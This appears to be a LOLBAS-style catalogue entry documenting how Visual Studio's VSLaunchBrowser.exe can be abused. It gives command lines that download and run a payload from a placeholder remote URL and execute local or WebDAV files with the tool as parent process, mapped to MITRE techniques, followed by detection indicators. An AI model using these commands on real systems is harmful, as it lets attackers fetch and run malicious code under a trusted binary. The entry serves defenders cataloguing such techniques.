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Name : VSLaunchBrowser.exe
Description : Microsoft Visual Studio browser launcher tool for web applications debugging
Author : Avihay Eldad
Created : 2024-04-12
Commands :
- Command : VSLaunchBrowser.exe .exe http://example.com/payload
Description : Download and execute payload from remote server
Usecase : It will download a remote file to INetCache and open it using the default app associated with the supplied file extension with VSLaunchBrowser as parent process.
Category : Download
Privileges : User
MitreID : T1105
OperatingSystem : Windows
Tags :
- Download : INetCache
- Command : VSLaunchBrowser.exe .exe C:\Windows\System32\calc.exe
Description : Execute payload via VSLaunchBrowser as parent process
Usecase : It will open a local file using the default app associated with the supplied file extension with VSLaunchBrowser as parent process.
Category : Execute
Privileges : User
MitreID : T1127
OperatingSystem : Windows
- Command : VSLaunchBrowser.exe .exe \\Server\Path\file
Description : Execute payload from WebDAV server via VSLaunchBrowser as parent process
Usecase : It will open a remote file using the default app associated with the supplied file extension with VSLaunchBrowser as parent process.
Category : Execute
Privileges : User
MitreID : T1127
OperatingSystem : Windows
Full_Path :
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- Path : C:\Program Files\Microsoft Visual Studio\<version>\Community\Common7\IDE\VSLaunchBrowser.exe
- Path : C:\Program Files (x86)\Microsoft Visual Studio\<version>\Community\Common7\IDE\VSLaunchBrowser.exe
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Detection :
- IOC : cmd.exe as sub-process of VSLaunchBrowser
- IOC : URL on a VSLaunchBrowser command line
- IOC : VSLaunchBrowser making unexpected network connections or DNS requests
Acknowledgement :
- Person : Avihay Eldad
Handle : '@AvihayEldad'
